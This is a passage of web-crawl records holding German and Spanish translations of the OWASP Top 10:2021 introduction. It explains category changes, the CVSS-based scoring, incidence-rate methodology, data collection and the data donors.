zusätzliche Datenanalysen durchzuführen. Dieser deutliche Anstieg der CWE-Typen erfordert Änderungen in der Strukturierung der Kategorien.\n\nWir haben mehrere Monate damit verbracht, CWE-Typen zu gruppieren und zu kategorisieren, und hätten noch weitere Monate damit fortfahren können. Irgendwann mussten wir zu einem Ergebnis kommen. Es gibt sowohl CWEs, die sich auf *Grundursachen* beziehen, als auch solche, die sich auf *Symptome* beziehen. Beispiele für *Grundursache*-Typen sind „Kryptografischer Fehler“ und „Fehlkonfiguration“, für *Symptomtypen* können „Sensitive Data Exposure“ (Verlust der Vertraulichkeit sensibler Daten) und „Denial of Service“ (mutwillige Dienstblockade) genannt werden. Wir haben uns entschieden, uns - wann immer möglich - auf die *Grundursache* zu konzentrieren, da dies sinnvoller ist, um Hinweise zur Identifizierung und Behebung zu geben. Sich auf die *Grundursache* statt auf das *Symptom* zu konzentrieren, ist kein neues Konzept. Die Top Ten waren bisher eine Mischung aus *Symptomen* und *Grundursachen*. CWEs sind ebenfalls eine Mischung aus *Symptomen* und *Grundursachen*. Wir gehen einfach bewusster damit um und benennen sie.\nIn dieser Version gibt es durchschnittlich 19,6 CWE-Typen pro Top10-Kategorie, wobei das Minimum bei 1 CWE für [**A10:2021-Server-Side Request Forgery**](A10_2021-Server-Side_Request_Forgery_%28SSRF%29/) und das Maximum bei 40 CWEs in [**A04:2021-Unsicheres Anwendungsdesign**](A04_2021-Insecure_Design/) liegt. Diese aktualisierte Kategoriestruktur bietet zusätzliche Vorteile bei Schulungen, da sich Unternehmen jeweils auf die CWEs konzentrieren können, die für eine Programmiersprache/ein Framework besonders sinnvoll erscheinen.\n\n## Wie die Daten zur Auswahl und Priorisierung der Kategorien verwendet werden\n\nIm Jahr 2017 haben wir die Top10-Kategorien zunächst nach der Häufigkeit ihres Vorkommens in den Daten klassifiziert, um die *Verbreitung* zu bestimmen. Die weiteren Risikofaktoren *Ausnutzbarkeit*, *Auffindbarkeit* und *technische Auswirkungen* haben wir dann durch Teamdiskussionen basierend auf CVSS-Scores und jahrzehntelanger Erfahrung eingestuft. In 2021 wollten wir neben der, aus den aktuellen Daten abgeleiteten *Verbreitung*, nach Möglichkeit auch zur Einwertung der Faktoren *Ausnutzbarkeit* und *(technische) Auswirkungen* ausschließlich Daten verwenden.\n\nWir haben OWASP Dependency Check heruntergeladen, die CVSS-Exploit- und Impact-Scores extrahiert und sie nach den verwandten CWE-Typen gruppiert. Es war einiges an Recherche und Aufwand erforderlich, da zwar alle CVEs über CVSSv2-Einwertungen verfügen, bei den jedoch teilweise noch Mängel vorhanden sind, die erst durch CVSSv3 beheben wurden. Ab einem bestimmten Zeitpunkt haben alle CVEs auch ein CVSSv3-Score erhalten. Darüber hinaus wurden die Bewertungsskalen und Formeln zwischen CVSSv2 und CVSSv3 verändert.\n\nIn CVSSv2 konnten sowohl die Kategorie *Exploit* als auch *(Technical) Impact* Werte bis zu 10,0 betragen, aber die Formel würde sie auf 60% für *Exploit* und 40% für *Impact* begrenzen. In CVSSv3 ist das theoretische Maximum für *Exploit* auf 6,0 und für *Impact* auf 4,0 begrenzt. Unter Berücksichtigung der Gewichtung in der Formel von CVSSv3 erhöhte sich der Einfluss der *Impact*-Bewertung, im Durchschnitt um fast eineinhalb Punkte, der für *Exploit* sank im Durchschnitt um fast einen halben Punkt.\n\nIm OWASP Dependency Check gibt es 125.000 Datensätze der National Vulnerability Database (NVD) in der CVEs, einer CWE zugeordnet sind, und es gibt 241 CWEs, die mindestens einer CVE zugeordnet sind. 62.000 CWEs haben einen CVSSv3-Score, was in etwa der Hälfte des Datenbestands entspricht.\n\nFür die Top Ten 2021 haben wir die durchschnittlichen *Exploit*- und *Impact*-Werte wie folgt berechnet. Wir haben alle CVEs mit CVSS-Scores nach CWE gruppiert und sowohl die *Exploit*- als auch die *Impact*-Scores jeweils getrennt für die CVEs mit CVSSv3 und die mit ausschließlich CVSSv2-Einwertungen berechnet. Die Einzelwerte wurden normalisiert und zu einem Gesamt-Mittelwert zusammengefasst, der die Anzahl der jeweiligen CVSS-Bewertungen berücksichtigt. Die Ergebnisse haben wir als (gewichtete) 'durchschnittliche Ausnutzbarkeit' bzw. (gewichtete) 'durchschnittliche Auswirkung' bezeichnet und als Risikofaktoren verwendet.\n\n## Warum nicht nur reine statistische Daten?\n\nDie Ergebnisse in den zur Verfügung gestellten Daten beschränken sich in erster Linie auf das, was automatisiert getestet werden kann. Sprechen Sie mit erfahrenen AppSec-Expertinnen und Experten und sie werden Ihnen von Dingen erzählen, die sie gefunden haben, und von Trends, die sie sehen, die jedoch noch nicht in den Daten enthalten sind. Es braucht Zeit, um Testmethoden für bestimmte Schwachstellentypen zu entwickeln, und dann noch mehr Zeit, bis diese Tests automatisiert und für eine große Anzahl von Anwendungen ausgeführt werden. Alles, was wir finden, blickt zurück in die Vergangenheit und könnte Trends aus dem letzten Jahr übersehen, die in den Daten nicht vorhanden sind.\n\nDaher wählen wir aus den Daten nur acht von zehn Kategorien aus, da sie unvollständig sind. Die anderen beiden Kategorien stammen aus der Top-10-Community-Umfrage. Sie ermöglicht den Praktikerinnen und Praktikern an vorderster Front für die, aus ihrer Sicht größten Risiken zu stimmen, die möglicherweise noch nicht in den Daten enthalten sind oder darüber nie abgeleitet werden können.\n\n## Warum Inzidenzrate statt Häufigkeit?\n\nEs gibt drei Hauptdatenquellen. Wir bezeichnen sie als Human-Assisted Tooling (HaT), Tool-Assisted Human (TaH) und Raw Tooling.\n\nRaw Tooling und HaT sind Massen-Suchgeneratoren. Die Tools suchen nach bestimmten Schwachstellen und versuchen unermüdlich, jedes Vorkommen dieser Schwachstelle zu finden. Dabei werden für einige Schwachstellentypen hohe Fundzahlen generiert. Bei Cross-Site Scripting gibt es in der Regel zwei Arten von Schwachstellen: Entweder handelt es sich um einen kleineren, isolierten Fehler oder um ein systemisches Problem. Wenn es sich um ein systemisches Problem handelt, kann die Zahl der Befunde bei einer einzigen Anwendung in die Tausende gehen. Diese hohe Häufigkeit übertönt die meisten anderen, in Berichten oder in Daten gefundenen Schwachstellen.\n\nTaH hingegen wird ein breiteres Spektrum an Schwachstellentypen finden, diese jedoch aus Zeitgründen viel seltener. Wenn Menschen eine Anwendung testen und so etwas wie Cross-Site Scripting sehen, ermitteln sie normalerweise drei oder vier Vorkommen und brechen die weitere Suche dann ab. Sie können ein systemisches Problem erkennen und die Schwachstelle mit einer Empfehlung zur anwendungsweiten Behebung versehen. Es ist weder die Notwendigkeit noch die Zeit vorhanden, jedes (einzelne) Vorkommen zu finden.\n\nAngenommen, wir nehmen diese beiden unterschiedlichen Datensätze und versuchen, sie nach Häufigkeit zusammenzuführen. In diesem Fall würden die Tooling- und HaT-Daten die genaueren (aber weit gefassten) TaH-Daten übertönen, und das ist ein guter Grund dafür, warum etwas wie Cross-Site Scripting in vielen Listen so hoch eingestuft wird, obwohl die Auswirkungen im Allgemeinen gering bis moderat sind. Das liegt an der schieren Menge an Fundstellen (Cross-Site Scripting lässt sich auch relativ einfach testen, daher gibt es auch viel mehr Tests dafür).\n\nIm Jahr 2017 haben wir stattdessen die Verwendung der Inzidenzrate eingeführt, um einen neuen Blick auf die Daten zu werfen und Raw Tooling- und HaT-Daten angemessen mit TaH-Daten zusammenzuführen. Die Inzidenzrate bewertet, wie viele Prozent der Anwendungen mindestens ein Vorkommen eines Schwachstellentyps aufweist. Es ist uns egal, ob es einmalig oder systemisch war. Das ist für unsere Zwecke irrelevant. Wir müssen lediglich wissen, wie viele Anwendungen mindestens ein Vorkommen hatte, was dazu beiträgt, einen klareren Überblick über die Testergebnisse über mehrere, unterschiedliche Testtypen hinweg zu erhalten, ohne dass die Daten von Massen-Suchgeneratoren die Ergebnisse dominieren. Dies entspricht auch einer risikoorientierten Sichtweise, da Angreifende nur ein einziges Auftreten einer Schwachstelle benötigen, um eine Anwendung über die Kategorie erfolgreich anzugreifen.\n\n## Wie sieht Ihr Datenerfassungs- und Analyseprozess aus?\n\nWir haben den OWASP-Top-10-Datenerfassungsprozess auf dem Open Security Summit 2017 formalisiert. OWASP Top 10 Co-Leader und die Community haben zwei Tage damit verbracht, einen transparenten Datenerfassungsprozess zu formalisieren. Die aktuelle Ausgabe 2021 ist die zweite Edition, in der wir diese Methodik verwenden.\n\nWir haben zunächst einen Aufruf zur Datenerhebung über die uns zur Verfügung stehenden Social-Media-Kanäle veröffentlicht, sowohl über Projekt- als auch über OWASP-Kanäle. Auf der OWASP-Projektseite listen wir die Datenelemente und die Struktur auf, die wir benötigten, und wie die Daten erfasst und eingereicht werden konnten. Im GitHub-Projekt hatten wir Beispieldaten als Vorlage zur Verfügung gestellt. Bei Bedarf haben wir die Organisationen unterstützt, um die Struktur und Zuordnung zu CWEs herauszufinden.\n\nDie Datenspenden stammen von den unterschiedlichsten Organisationen, darunter welche, die Anbieter nach Branchen testen, Bug-Bounty-Anbietern und Organisationen, die interne Testergebnisse beigesteuert haben. Die eingereichten Daten wurden zuerst grundlegend analysiert und hinsichtlich der zugeordneten CWEs auf Plausibilität geprüft und den Risikokategorien zugeordnet. Es gibt Überschneidungen zwischen einigen CWEs und andere sind sehr eng miteinander verbunden (z. B. kryptografische Schwachstellen). Alle Entscheidungen im Zusammenhang mit der Analyse der übermittelten Rohdaten wurden dokumentiert und veröffentlicht, um offen und transparent zu machen, wie wir die Daten normalisiert haben.\n\nDie acht Kategorien mit den höchsten Inzidenzraten wurden in die Top 10 aufgenommen. Wir schauen uns auch die Ergebnisse der Top 10-Community-Umfrage an, um zu sehen, welche davon möglicherweise bereits in den Daten vorhanden waren. Die beiden Kategorien mit den meisten Stimmen, die nicht in den acht datengestützten Kategorien vorhanden waren, wurden für die beiden verbliebenen Plätze der Top 10 ausgewählt. Für die zehn ausgewählten Kategorien wurden jeweils neben der Inzidenzrate die weiteren Faktoren für Ausnutzbarkeit, *Expolit* und die (technische) Auswirkung, *Impact* berücksichtigt, um die Top 10:2021 in nach ihren Risiken zu ordnen.\n\n## Datenfaktoren\n\nFür die Top-10-Kategorien sind jeweils Datenfaktoren aufgeführt, die im Folgenden erläutert werden:\n\n- Zugeordnete CWEs: Die Anzahl der CWEs, die der Kategorie vom Top-10-Team zugeordnet wurden.\n- Häufigkeit: Die Inzidenzrate ist der Prozentsatz der Anwendungen, die für CWEs der Kategorie anfällig sind, bezogen auf die Summe aller Anwendungen, die von einer Organisation im jeweiligen Jahr getestet wurden.\n- Durchschn. Ausnutzbarkeit: Der Exploit-Subscore aus CVSSv2- und CVSSv3-Scores von CVEs, die die CWEs der Kategorie referenziert haben, normalisiert auf eine 10-Punkte-Skala.\n- Durchschn. Auswirkungen: Der Impact-Subscore aus CVSSv2- und CVSSv3-Scores von CVEs, die die CWEs der Kategorie referenziert haben, normalisiert auf eine 10-Punkte-Skala\n- (Test-)Abdeckung: Der Prozentsatz der Anwendungen, die von allen Organisationen, die auf die CWEs der Kategorie getestet wurden.\n- Gesamtanzahl: Gesamtzahl der Anwendungen, bei denen CWEs der Kategorie zugeordnet wurden.\n- CVEs insgesamt: Gesamtzahl der CVEs in der NVD-Datenbank, die den CWEs der Kategorie zugeordnet wurden.\n\n## Vielen Dank an unsere Daten-Spender\n\nDie folgenden Organisationen (und weitere anonyme Spender) haben freundlicherweise Daten für über 500.000 Anwendungen gespendet, um dies zum größten und umfassendsten Datensatz zur Anwendungssicherheit zu machen. Ohne Sie wären diese Top 10 nicht möglich gewesen.\n\n- AppSec Labs\n- Cobalt.io\n- Contrast Security\n- GitLab\n- HackerOne\n- HCL Technologies\n- Micro Focus\n- PenTest-Tools\n- Probely\n- Sqreen\n- Veracode\n- WhiteHat (NTT)\n\n## Vielen Dank an unsere weiteren Sponsoren\n\nDas OWASP Top 10 2021-Team dankt Secure Code Warrior und Just Eat für die finanzielle Unterstützung.", "znaku_textu": 21809, "slov": 2956, "odkazu": 56, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 11:54:39", "sha256": "d9ecf0fec7922022cbce8e18b980e2ea39c58fa6cf6f550628f60d9a8b9e84d5", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://securecodewarrior.com/", "https://www.just-eat.co.uk/", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2021/es/", "titulek": "Welcome Page - OWASP Top 10:2021", "h1": "Introducción", "popis": "OWASP Top 10:2021", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2021/es/", "jazyk": "es", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Introducción"}, {"uroven": 2, "text": "Bienvenido al OWASP Top 10 - 2021"}, {"uroven": 2, "text": "Qué ha cambiado en el Top 10 de 2021"}, {"uroven": 2, "text": "Metodología"}, {"uroven": 2, "text": "Cómo se estructuran las categorías"}, {"uroven": 2, "text": "Cómo se utilizan los datos para seleccionar las categorías"}, {"uroven": 2, "text": "¿Por qué no solo los datos estadísticos puros?"}, {"uroven": 2, "text": "¿Por qué la tasa de incidencia en lugar de la frecuencia?"}, {"uroven": 2, "text": "¿Cuál es su proceso de recopilación y análisis de datos?"}, {"uroven": 2, "text": "Data Factors"}, {"uroven": 2, "text": "Gracias a nuestros proveedores de datos"}, {"uroven": 2, "text": "Gracias a nuestro patrocinador"}], "markdown": "# Introducción\n\n## Bienvenido al OWASP Top 10 - 2021\n\n¡Bienvenido a la última entrega del OWASP Top 10! El OWASP Top 10 2021 ha sido totalmente renovado, con un nuevo diseño gráfico y una infografía de una sola página que puedes imprimir u obtener desde nuestra página web.\n\nUn enorme agradecimiento a todos los que han contribuido con su tiempo y datos para esta iteración. Sin ustedes, esta entrega no sería posible. **GRACIAS!**\n\n## Qué ha cambiado en el Top 10 de 2021\n\nHay tres nuevas categorías, cuatro categorías con cambios de nombre y alcance, y alguna consolidación en el Top 10 de 2021. Hemos cambiado los nombres cuando ha sido necesario para centrarnos en la causa principal en lugar del síntoma.\n\n- **[A01:2021 - Pérdida de Control de Acceso](A01_2021-Broken_Access_Control/)** sube de la quinta posición a la categoría con el mayor riesgo en seguridad de aplicaciones web; los datos proporcionados indican que, en promedio, el 3,81% de las aplicaciones probadas tenían una o más Common Weakness Enumerations (CWEs) con más de 318.000 ocurrencias de CWEs en esta categoría de riesgo. Las 34 CWEs relacionadas con la Pérdida de Control de Acceso tuvieron más apariciones en las aplicaciones que cualquier otra categoría.\n- **[A02:2021 - Fallas Criptográficas](A02_2021-Cryptographic_Failures/)** sube una posición ubicándose en la segunda, antes conocida como **A3:2017-Exposición de Datos Sensibles** , que era más una característica que una causa raíz. El nuevo nombre se centra en las fallas relacionadas con la criptografía, como se ha hecho implícitamente antes. Esta categoría frecuentemente conlleva a la exposición de datos confidenciales o al compromiso del sistema.\n- **[A03:2021 - Inyección](A03_2021-Injection/)** desciende hasta la tercera posición. El 94% de las aplicaciones fueron probadas con algún tipo de inyección y estas mostraron una tasa de incidencia máxima del 19%, promedio de 3.37%, y las 33 CWEs relacionadas con esta categoría tienen la segunda mayor cantidad de ocurrencias en aplicaciones con 274.000 ocurrencias. El Cross-Site Scripting, en esta edición, forma parte de esta categoría de riesgo.\n- **[A04:2021 - Diseño Inseguro](A04_2021-Insecure_Design/)** nueva categoría para la edición 2021, con un enfoque en los riesgos relacionados con fallas de diseño. Si realmente queremos madurar como industria, debemos \"mover a la izquierda\" del proceso de desarrollo las actividades de seguridad. Necesitamos más modelos de amenazas, patrones y principios con diseños seguros y arquitecturas de referencia. Un diseño inseguro no puede ser corregida con una implementación perfecta debido a que, por definición, los controles de seguridad necesarios nunca se crearon para defenderse de ataques específicos.\n- **[A05:2021 - Configuración de Seguridad Incorrecta](A05_2021-Security_Misconfiguration/)** asciende desde la sexta posición en la edición anterior; el 90% de las aplicaciones se probaron para detectar algún tipo de configuración incorrecta, con una tasa de incidencia promedio del 4,5% y más de 208.000 casos de CWEs relacionadas con esta categoría de riesgo. Con mayor presencia de software altamente configurable, no es sorprendente ver qué esta categoría ascendiera. El **A4:2017-Entidades Externas XML(XXE)** , ahora en esta edición, forma parte de esta categoría de riesgo.\n- **[A06:2021 - Componentes Vulnerables y Desactualizados](A06_2021-Vulnerable_and_Outdated_Components/)** antes denominado como Uso de Componentes con Vulnerabilidades Conocidas, ocupa el segundo lugar en el Top 10 de la encuesta a la comunidad, pero también tuvo datos suficientes para estar en el Top 10 a través del análisis de datos. Esta categoría asciende desde la novena posición en la edición 2017 y es un problema conocido que cuesta probar y evaluar el riesgo. Es la única categoría que no tiene ninguna CVE relacionada con las CWEs incluidas, por lo que una vulnerabilidad predeterminada y con ponderaciones de impacto de 5,0 son consideradas en sus puntajes.\n- **[A07:2021 - Fallas de Identificación y Autenticación](A07_2021-Identification_and_Authentication_Failures/)** previamente denominada como Pérdida de Autenticación, descendió desde la segunda posición, y ahora incluye CWEs que están más relacionadas con fallas de identificación. Esta categoría sigue siendo una parte integral del Top 10, pero el incremento en la disponibilidad de frameworks estandarizados parece estar ayudando.\n- **[A08:2021 - Fallas en el Software y en la Integridad de los Datos](A08_2021-Software_and_Data_Integrity_Failures/)** es una nueva categoría para la edición 2021, que se centra en hacer suposiciones relacionadas con actualizaciones de software, los datos críticos y los pipelines CI/CD sin verificación de integridad. Corresponde a uno de los mayores impactos según los sistemas de ponderación de vulnerabilidades (CVE/CVSS, siglas en inglés para Common Vulnerability and Exposures/Common Vulnerability Scoring System). La **A8:2017-Deserialización Insegura** en esta edición forma parte de esta extensa categoría de riesgo.\n- **[A09:2021 - Fallas en el Registro y Monitoreo](A09_2021-Security_Logging_and_Monitoring_Failures/)** previamente denominada como **A10:2017-Registro y Monitoreo Insuficientes** , es adicionada desde el Top 10 de la encuesta a la comunidad (tercer lugar) y ascendiendo desde la décima posición de la edición anterior. Esta categoría se amplía para incluir más tipos de fallas, es difícil de probar y no está bien representada en los datos de CVE/CVSS. Sin embargo, las fallas en esta categoría pueden afectar directamente la visibilidad, las alertas de incidentes y los análisis forenses.\n- **[A10:2021 - Falsificación de Solicitudes del Lado del Servidor](A10_2021-Server-Side_Request_Forgery_%28SSRF%29/)** es adicionada desde el Top 10 de la encuesta a la comunidad (primer lugar). Los datos muestran una tasa de incidencia relativamente baja con una cobertura de pruebas por encima del promedio, junto con calificaciones por encima del promedio para la capacidad de explotación e impacto. Esta categoría representa el escenario en el que los miembros de la comunidad de seguridad nos dicen que esto es importante, aunque no está visualizado en los datos en este momento.\n\n## Metodología\n\nEsta entrega del Top 10 está más orientada a los datos que nunca, pero no a ciegas. Hemos seleccionado ocho de las diez categorías a partir de los datos aportados y dos categorías a partir de la encuesta de la comunidad del Top 10 a un alto nivel. Hacemos esto por una razón fundamental, mirar los datos aportados es mirar al pasado. Los investigadores de seguridad en aplicaciones se toman su tiempo para encontrar nuevas vulnerabilidades y nuevas formas de probarlas. Se necesita tiempo para integrar estas pruebas en las herramientas y los procesos. Para el momento en que podamos probar de forma fiable una vulnerabilidad a escala, es probable que hayan pasado años. Para compensar este punto de vista, utilizamos una encuesta de la comunidad en la que preguntamos a los expertos en seguridad y desarrollo de aplicaciones que se encuentran en primera línea cuáles son, en su opinión, las vulnerabilidades esenciales que los datos aún no muestran.\n\nHay algunos cambios críticos que hemos adoptado para seguir madurando el Top 10.\n\n## Cómo se estructuran las categorías\n\nAlgunas categorías han cambiado con respecto a la anterior entrega del OWASP Top Ten. A continuación se presenta un resumen de alto nivel de los cambios de categoría.\n\nLos trabajos anteriores de recopilación de datos se centraban en un subconjunto prescrito de aproximadamente 30 CWEs, con un campo que solicitaba hallazgos adicionales. Nos dimos cuenta de que las organizaciones se centraban principalmente en esas 30 CWEs y rara vez añadían otras CWEs que veían. En esta iteración, lo abrimos y solo pedimos datos, sin ninguna restricción sobre las CWEs. Solicitamos el número de aplicaciones analizadas para un año determinado (a partir de 2017) y el número de aplicaciones con al menos una instancia de una CWE encontrada en las pruebas. Este formato nos permite rastrear la prevalencia de cada CWE dentro de la población de aplicaciones. Ignoramos la frecuencia para nuestros propósitos; aunque puede ser necesaria para otras situaciones, solo oculta la prevalencia real en la población de aplicaciones. El hecho de que una aplicación tenga cuatro instancias de una CWE o 4.000 instancias no forma parte del cálculo para el Top 10. Hemos pasado de aproximadamente 30 CWEs a casi 400 CWEs para analizar en el conjunto de datos. Tenemos previsto realizar análisis de datos adicionales como complemento en el futuro. Este aumento significativo en el número de CWEs hace necesario cambiar la estructura de las categorías.\n\nPasamos varios meses agrupando y clasificando las CWEs y podríamos haber seguido durante más tiempo. En algún momento tuvimos que parar. Hay tipos de CWE de *causa raíz* y de *síntoma*, donde los de *causa raíz* serían \"Falla Criptográfica\" y \"Configuración de Seguridad Incorrecta\" en contraste con los de *síntoma* como \"Exposición de Datos Sensibles\" y \"Denegación de Servicio\". Hemos decidido centrarnos en la *causa raíz* siempre que sea posible, ya que es más lógico para proporcionar orientación sobre la identificación y la reparación. Centrarse en la *causa raíz* en lugar de en el *síntoma* no es un concepto nuevo; el Top Ten ha sido una mezcla de *síntoma* y *causa raíz*. Las CWEs también son una mezcla de *síntoma* y *causa raíz*; simplemente estamos siendo más explícitos al respecto y lo señalamos. Hay un promedio de 19,6 CWEs por categoría en esta entrega, con el límite inferior de 1 CWE para **A10:2021-Falsificación de Solicitudes del Lado del Servidor (SSRF)** a 40 CWEs en **A04:2021-Diseño Inseguro**. Esta actualización en la estructura de las categorías ofrece beneficios adicionales de capacitación, ya que las empresas pueden centrarse en las CWE que tienen sentido para un lenguaje/framework.\n\n## Cómo se utilizan los datos para seleccionar las categorías\n\nEn 2017, seleccionamos las categorías según la tasa de incidencia para determinar la probabilidad, y luego las clasificamos según la discusión del equipo basada en décadas de experiencia respecto a la *Explotabilidad*, la *Detectabilidad* (también *probabilidad*) y el *Impacto técnico*. Para 2021, queremos utilizar los datos de *Explotabilidad* e *Impacto (técnico)* si es posible.\n\nDescargamos OWASP Dependency Check y extrajimos las puntuaciones de CVSS de Explotación e Impacto agrupadas por CWEs relacionadas. Nos costó bastante investigación y esfuerzo, ya que todas las CVEs tienen puntuaciones CVSSv2, pero hay fallos en CVSSv2 que CVSSv3 debería solucionar. A partir de cierto momento, a todas las CVEs se les asignó también una puntuación CVSSv3. Además, los rangos y fórmulas se han actualizado entre CVSSv2 y CVSSv3.\n\nEn CVSSv2, tanto *Explotabilidad* como *Impacto técnico* podían llegar a 10,0, pero la fórmula los rebajaba al 60% para *Explotabilidad* y al 40% para *Impacto técnico*. En CVSSv3, el máximo teórico se limitó a 6,0 para *Explotabilidad* y 4,0 para *Impacto técnico*. Con la ponderación considerada, la puntuación de Impacto Técnico se elevó, casi un punto y medio en promedio en CVSSv3, y la Explotabilidad se redujo casi medio punto.\n\nHay 125 mil registros de una CVE mapeadas a una CWE en los datos de la Base de Datos Nacional de Vulnerabilidades (NVD) extraídos del OWASP Dependency Check, y hay 241 CWEs únicas mapeadas a una CVE. 62 mil mapeos de CWE tienen una puntuación CVSSv3, lo cual representa aproximadamente la mitad de la población en el conjunto de datos.\n\nPara el Top Ten 2021, calculamos las puntuaciones promedio de *explotabilidad* e *impacto técnico* de la siguiente manera. Agrupamos todas las CVEs con puntuaciones CVSS por CWE y ponderamos las puntuaciones de *explotabilidad* e *impacto técnico* por el porcentaje de la población que tenía CVSSv3 + la población restante de puntuaciones CVSSv2 para obtener una media global. Mapeamos estos promedios a las CWEs en el conjunto de datos para utilizarlos como puntuación de *Explotabilidad* e *Impacto (Técnico)* para la otra mitad de la ecuación del riesgo.\n\n## ¿Por qué no solo los datos estadísticos puros?\n\nLos resultados de los datos se limitan principalmente a lo que podemos comprobar de forma automatizada. Si hablas con un profesional experimentado de la seguridad de las aplicaciones, te hablará de las cosas que encuentra y de las tendencias que ve y que aún no están en los datos. Se necesita tiempo para desarrollar metodologías de pruebas para ciertos tipos de vulnerabilidades y más tiempo aún para que esas pruebas sean automatizadas y ejecutadas contra una gran población de aplicaciones. Todo lo que hallamos está mirando al pasado y puede que falten algunas tendencias del último año, que aún no están presentes en los datos.\n\nEs por eso que solo recogemos ocho de las diez categorías de los datos, porque están incompletos. Las otras dos categorías proceden de la encuesta a la comunidad del Top 10. Esto permite a los profesionales de primera línea votar por los que ellos consideran que son los mayores riesgos y que podrían no estar en los datos (y puede que nunca se expresen en ellos).\n\n## ¿Por qué la tasa de incidencia en lugar de la frecuencia?\n\nHay tres fuentes principales de datos. Las identificamos como Herramienta asistida por Humanos (HaT), Humano asistido por Herramientas (TaH) y Herramientas en bruto.\n\nHerramientas y HaT son generadores de hallazgos de alta frecuencia. Las herramientas buscarán vulnerabilidades específicas e intentarán incansablemente encontrar cada instancia de esa vulnerabilidad y generarán un elevado número de hallazgos para algunos tipos de vulnerabilidades. Por ejemplo, el Cross-Site Scripting, suele ser de dos tipos: o bien es un error menor y aislado, o bien es un problema sistémico. Cuando se trata de un problema sistémico, el número de hallazgos puede ser de miles para una sola aplicación. Esta alta frecuencia ahoga a la mayoría de las demás vulnerabilidades encontradas en los informes o datos.\n\nPor otro lado, TaH encontrará una gama más amplia de tipos de vulnerabilidades, pero con una frecuencia mucho menor debido a las limitaciones de tiempo. Cuando los humanos prueban una aplicación y ven algo como un Cross-Site Scripting, normalmente encontrarán tres o cuatro instancias y se detendrán. Pueden determinar un hallazgo sistémico y escribir una recomendación para corregirlo a gran escala en la aplicación. No hay necesidad (ni tiempo) de encontrar cada instancia.\n\nSupongamos que tomamos estos dos conjuntos de datos distintos y tratamos de fusionarlos por su frecuencia. En ese caso, los datos de Herramientas y HaT ahogarán los datos más precisos (aunque amplios) de TaH y es en buena parte la razón por la que algo como el Cross-Site Scripting ha sido clasificado tan alto en muchas listas cuando el impacto es generalmente bajo o moderado. Se debe al gran volumen de hallazgos. (El Cross-Site Scripting es además razonablemente fácil de probar, por lo que hay muchas más pruebas para ello).\n\nEn 2017, introdujimos el uso de la tasa de incidencia en su lugar para dar una nueva mirada a los datos y combinar de manera transparente los datos de Herramientas y HaT con los datos de TaH. La tasa de incidencia se refiere al porcentaje de la población de aplicaciones que tiene al menos una instancia de un tipo de vulnerabilidad. No nos importa si fue algo puntual o sistémico. Eso es irrelevante para nuestros objetivos; solo necesitamos saber cuántas aplicaciones tenían al menos una instancia, lo cual ayuda a proporcionar una visión más clara de los hallazgos de las pruebas a través de múltiples tipos de pruebas sin ahogar los datos en resultados de alta frecuencia. Esto corresponde a una visión relacionada con el riesgo, ya que un atacante solo necesita una instancia para atacar una aplicación con éxito a través de dicha categoría.\n\n## ¿Cuál es su proceso de recopilación y análisis de datos?\n\nEn el Open Security Summit de 2017 formalizamos el proceso de recopilación de datos del OWASP Top 10. Los líderes del OWASP Top 10 y la comunidad pasaron dos días trabajando en la formalización de un proceso de recopilación de datos transparente. La edición de 2021 es la segunda vez que utilizamos esta metodología.\n\nPublicamos la solicitud de datos a través de las redes sociales de las que disponemos, tanto del proyecto como de OWASP. En la página del proyecto, enumeramos los elementos y la estructura de los datos que buscamos y cómo presentarlos. En el proyecto de GitHub, disponemos de archivos de ejemplo que sirven como plantillas. También, en caso necesario, trabajamos con las organizaciones para ayudarles a determinar la estructura y el mapeo con las CWEs.\n\nRecibimos estos datos de organizaciones que son proveedores de servicios de seguridad, proveedores de bug bounty y organizaciones que aportan datos de pruebas internas. Una vez que recibimos los datos, los cargamos y realizamos un análisis fundamental de las categorías de riesgo de las CWEs. Hay un solapamiento entre algunas CWEs, y otros están muy relacionados (por ejemplo, las fallas criptográficas). Toda decisión relacionada con los datos en bruto se ha documentado y publicado para ser abiertos y transparentes en cuanto a la normalización de los datos.\n\nAnalizamos las ocho categorías con las tasas de incidencia más altas para incluirlas en el Top 10. También miramos los resultados de la encuesta a la comunidad del Top 10 para ver cuáles pueden estar ya presentes en los datos. Las dos más votadas que no estén ya presentes en los datos serán seleccionadas para los otros dos puestos del Top 10. Una vez seleccionados las diez, aplicamos factores generalizados de explotabilidad e impacto; para así poder ordenar el Top 10 2021 en función del riesgo.\n\n## Data Factors\n\nHay factores de datos que se enumeran para cada una de las 10 categorías, aquí está lo que significan:\n\n- CWEs mapeadas: El número de CWEs asignadas a una categoría por el equipo del Top 10.\n- Tasa de incidencia: La tasa de incidencia es el porcentaje de aplicaciones vulnerables a esa CWE de la población analizada por esa organización para ese año.\n- Cobertura (de pruebas): El porcentaje de aplicaciones que han sido testadas por todas las organizaciones para una determinada CWE.\n- Explotabilidad ponderada: La sub-puntuación de explotabilidad de las puntuaciones CVSSv2 y CVSSv3 asignadas a las CVEs mapeadas a las CWEs, normalizados y colocados en una escala de 10 puntos.\n- Impacto ponderado: La sub-puntuación de Impacto de las puntuaciones CVSSv2 y CVSSv3 asignadas a las CVEs mapeadas a las CWEs, normalizados y colocados en una escala de 10 puntos.\n- Total de ocurrencias: Número total de aplicaciones en las que se han encontrado las CWEs asignados a una categoría.\n- Total de CVEs: Número total de CVEs en la base de datos del NVD que fueron asignadas a las CWEs asignados a una categoría.\n\n## Gracias a nuestros proveedores de datos\n\nLas siguientes organizaciones (junto con algunos donantes anónimos) han tenido la amabilidad de donar datos de más de 500.000 aplicaciones para hacer de este el mayor y más completo conjunto de datos sobre seguridad de las aplicaciones. Sin ustedes, esto no sería posible.\n\n- AppSec Labs\n- Cobalt.io\n- Contrast Security\n- GitLab\n- HackerOne\n- HCL Technologies\n- Micro Focus\n- PenTest-Tools\n- Probely\n- Sqreen\n- Veracode\n- WhiteHat (NTT)\n\n## Gracias a nuestro patrocinador\n\nEl equipo del OWASP Top 10 2021 agradece el apoyo financiero de Secure Code Warrior y Just 